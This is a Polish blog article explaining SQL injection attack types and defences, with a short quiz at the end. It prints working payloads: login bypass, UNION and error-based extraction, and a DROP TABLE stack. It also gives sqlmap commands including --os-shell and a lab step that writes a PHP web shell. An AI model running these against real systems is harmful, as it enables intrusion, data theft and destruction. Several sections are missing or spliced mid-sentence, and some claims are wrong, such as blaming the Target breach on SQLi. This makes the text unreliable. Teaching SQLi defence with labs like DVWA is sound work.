secured laptop zabezpieczony laptop

SQL Injection – jak działa i jak go uniknąć?

SQL Injection – jak działa i jak go uniknąć?



Structured Query Language (SQL) powstał w latach 70. XX w. jako sposób komunikacji z relacyjnymi bazami danych. Pozwala wykonywać cztery główne typy operacji (CRUD):

  • Create (INSERT)
  • Read (SELECT)
  • Update (UPDATE)
  • Delete (DELETE)

Miejsce SQL w architekturze aplikacji


SQL Injection (SQLi) polega na wstrzyknięciu złośliwych danych do zapytania SQL w taki sposób, aby baza wykonała kod nieprzewidziany przez programistę. Typowy wektor to pole formularza, nagłówek HTTP, parametr URL lub nawet plik cookie.

  1. Wejście – Użytkownik (lub atakujący) przesyła wartość username=admin' OR 1=1--.
  2. Konkatenacja – Aplikacja łączy ciągi:
    SELECT * FROM users WHERE username=' input ' AND password=' pwd '
  3. Wykonanie – Warunek OR 1=1 zawsze zwraca prawdę, więc kontrola dostępu zostaje ominięta.

Ważne!
Atakujący często łączy SQLi z enumeracją tabel systemowych (information_schema) lub funkcjami skalarowymi (np. version(), @@hostname) – dzięki temu odzyskuje strukturę bazy bez wywołania tradycyjnego SELECT *.

Skutki udanego ataku

  • Konfidentiality – wyciek haseł, numerów kart, danych osobowych (naruszenie RODO).
  • Integrity – masowa modyfikacja lub usunięcie rekordów (DELETE, DROP).
  • Availability – blokada bazy przez długotrwałe SLEEP(100) w pętli.
  • Privilege escalation – przejęcie konta DBA i wykonanie poleceń systemowych (xp_cmdshellCOPY ... PROGRAM).

Case study (PCI‑DSS):
W 2013 r. atak SQLi na sieć sklepów Target doprowadził do kradzieży ~40 mln numerów kart płatniczych i kosztował firmę ponad 200 mln USD.

Historia i ewolucja zagrożenia

  • 1998 – pierwsze opisy SQLi na liście Bugtraq (Rain Forest Puppy).
  • 2003 – wyciek danych Heartland Payment Systems (130 mln kart).
  • 2010 – wprowadzenie boolean‑based blind do głównego nurtu exploitów.
  • 2019–2024 – rosnąca popularność SQLi w mikroserwisach GraphQL oraz API REST.
  • 2023 – raport Verizon DBIR: ~25 % naruszeń aplikacji webowych ma korzenie w SQLi.na minimalizowanie ryzyka związanego z cyfrowymi zagrożeniami.

Atak i wyciek danych odbywają się w tym samym kanale HTTP.

  • Error‑based – wykorzystuje komunikaty błędów:
    1' AND updatexml(1,concat(0x7e,(SELECT version())),0)--+
  • Union‑based – łączy wyniki przez UNION SELECT:
    1 UNION SELECT NULL,email,password FROM users--

Blind SQL Injection

Baza nie ujawnia błędów ani danych; atakujący dedukuje je po zachowaniu aplikacji.

  • Boolean‑based – porównuje odpowiedzi true/false.
  • Time‑based – sprawdza opóźnienie (SLEEP(5)).

Out‑of‑band SQL Injection


Pozwalają wykonać kilka zapytań w jednym pakiecie:
1; DROP TABLE logs;--

Second‑order SQL Injection

Złośliwe dane zapisywane są w bazie i wyzwalają atak w innej części aplikacji (np. panel admina), często z wyższymi uprawnieniami.

Polyglot Payloads

Łączą SQLi z XSS lub Command Injection, np.
`1′; shutdown —

NoSQL Injection


Formularze logowania, wyszukiwarki, panele admina. Krytycznym błędem może być sortowanie/filtry – podanie ORDER BY 100 zdradza liczbę kolumn.

API i mikrousługi

  • GraphQL: zapytania są serializowane do jednego endpointu; brak walidacji zmiennych \u0027 OR 1=1.
  • REST: parametry w JSON/Query – fuzzing narzędziem Burp Intruder szuka luk.

IoT oraz aplikacje mobilne


SELECT * FROM users WHERE username='$u' AND password='$p'
→ payload: ' OR '1'='1
Pokazowe laboratorium DVWA (low security).

Wyciekanie danych z UNION SELECT

  1. Ustal liczbę kolumn: ORDER BY 1--, ORDER BY 2--
  2. UNION SELECT 1,2,3,@@version--
  3. UNION SELECT NULL, email, password FROM users--

Blind extraction znak‑po‑znaku


ORM i Query Builders – pułapki

  • raw(), executeNative(), @Query (Spring Data) – omijają parametryzację.
  • Automatyczne logi SQL – redaguj, by nie ujawniać wartości parametrów.

Walidacja i sanitizacja danych wejściowych

  • Whitelisty – dozwolone znaki/formaty (RegEx).
  • Limit lengthVARCHAR(255) nie przyjmie 10 kB payloadu.
  • Contextual Encoding – inne dla HTML, JSON, URL.

Zasada najmniejszych uprawnień

  • Konto aplikacyjne: SELECT, INSERT, ewentualnie UPDATE – bez DROP TABLE.
  • Widoki (Views) udostępniają tylko potrzebne kolumny.

Stored Procedures – nie panaceum

sp_executesql() z konkatenacją dynamicznego SQL jest tak samo podatne. W MS SQL użyj zmiennych tabelarycznych i parametrów.

Bezpieczne przechowywanie konfiguracji


  • SAST – SonarQube, Semgrep (analiza kodu).
  • DAST – OWASP ZAP, Burp Suite (fuzzing runtime).
  • IAST – Contrast Security (runtime agent + code).

sqlmap – automat z konsoli

sqlmap -u „https://site.com/item.php?id=1” –risk=3 –level=5 –banner

Parametry --dump-all lub --os-shell przenoszą atak na kolejny etap (RCE).

CI/CD

GitHub Actions:

– name: Semgrep Scan
uses: returntocorp/semgrep-action@v1

Pipeline powinien blokować merge, jeśli reguła sql-concat wykryje ciąg + "'" +.



  1. Środowisko – DVWA (Docker):
    docker run -d -p 8080:80 vulnerables/web-dvwa
  2. Recon – Burp Repeater, testuj '";-- w polu id.
  3. EnumerationORDER BY, UNION SELECT NULL,….
  4. Extraction – sqlmap dump DB.
  5. Bash reverse shellecho '<?php system($_GET[0]); ?>' > /var/www/html/sh.php
  6. Zabezpieczenie – włącz mysqli_prepare() i ponów test – atak powinien się nie powieść.

  • ModSecurity + reguły OWASP CRS.
  • Cloudflare Managed Rules (SQL Injection Score ≥ 30 –> Block).

SIEM i alerting

  • Logi query (slow_query.log, general.log).
  • Korelacja wzorców – 10× SLEEP() w 5 min → alarm.
  • Prometheus + Alertmanager: metryka mysql_commands_total{command="Sleep"}.

Backup i DRP

W razie DROP TABLE przywróć migawkę (mysqldump, LVM snapshot). Testuj procedury Disaster Recovery co kwartał.

Edukacja zespołu


  • Justin Clarke‑Salt – SQL Injection Attacks and Defense
  • Dafydd Stuttard, Marcus Pinto – The Web Application Hacker’s Handbook
  • PortSwigger Web Security Academy – SQLi labs (online)
  • OWASP Testing Guide v.5 – rozdział 4.3

Platformy treningowe

  • DVWA
  • OWASP Juice Shop
  • TryHackMe – pokoje „SQL Injection” & „Union Attacks”
  • HackTheBox – maszyny: Jeeves, Temporal, Shoppy

Narzędzia open‑source


SQL Injection

Zwróć uwagę na payloady z funkcjami SLEEP()/pg_sleep().

1 / 4

Która odmiana SQL Injection bazuje na opóźnianiu odpowiedzi serwera, aby odsłonić prawdziwość warunku?

Pomyśl o zmianie sposobu budowania zapytań, zanim zaczniesz logować lub ograniczać uprawnienia.

2 / 4

Jaki jest pierwszy krok, który powinieneś podjąć, aby zabezpieczyć istniejącą aplikację przed SQL Injection?

W PHP bezpieczne zapytania tworzy się przez PDO lub mysqli z prepare() i bind_param().

3 / 4

Kod PHP: "$sql = 'SELECT * FROM products WHERE id=' . $_GET['id'];" — jak najszybciej naprawisz tę podatność?

Nazwa narzędzia zawiera skrót SQL i działa w pełni automatycznie.

4 / 4

Które narzędzie najłatwiej wykorzystasz do automatycznej detekcji i eksploatacji SQL Injection z linii poleceń?

Twój wynik to

Średni wynik to 0%

0%

Comments

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *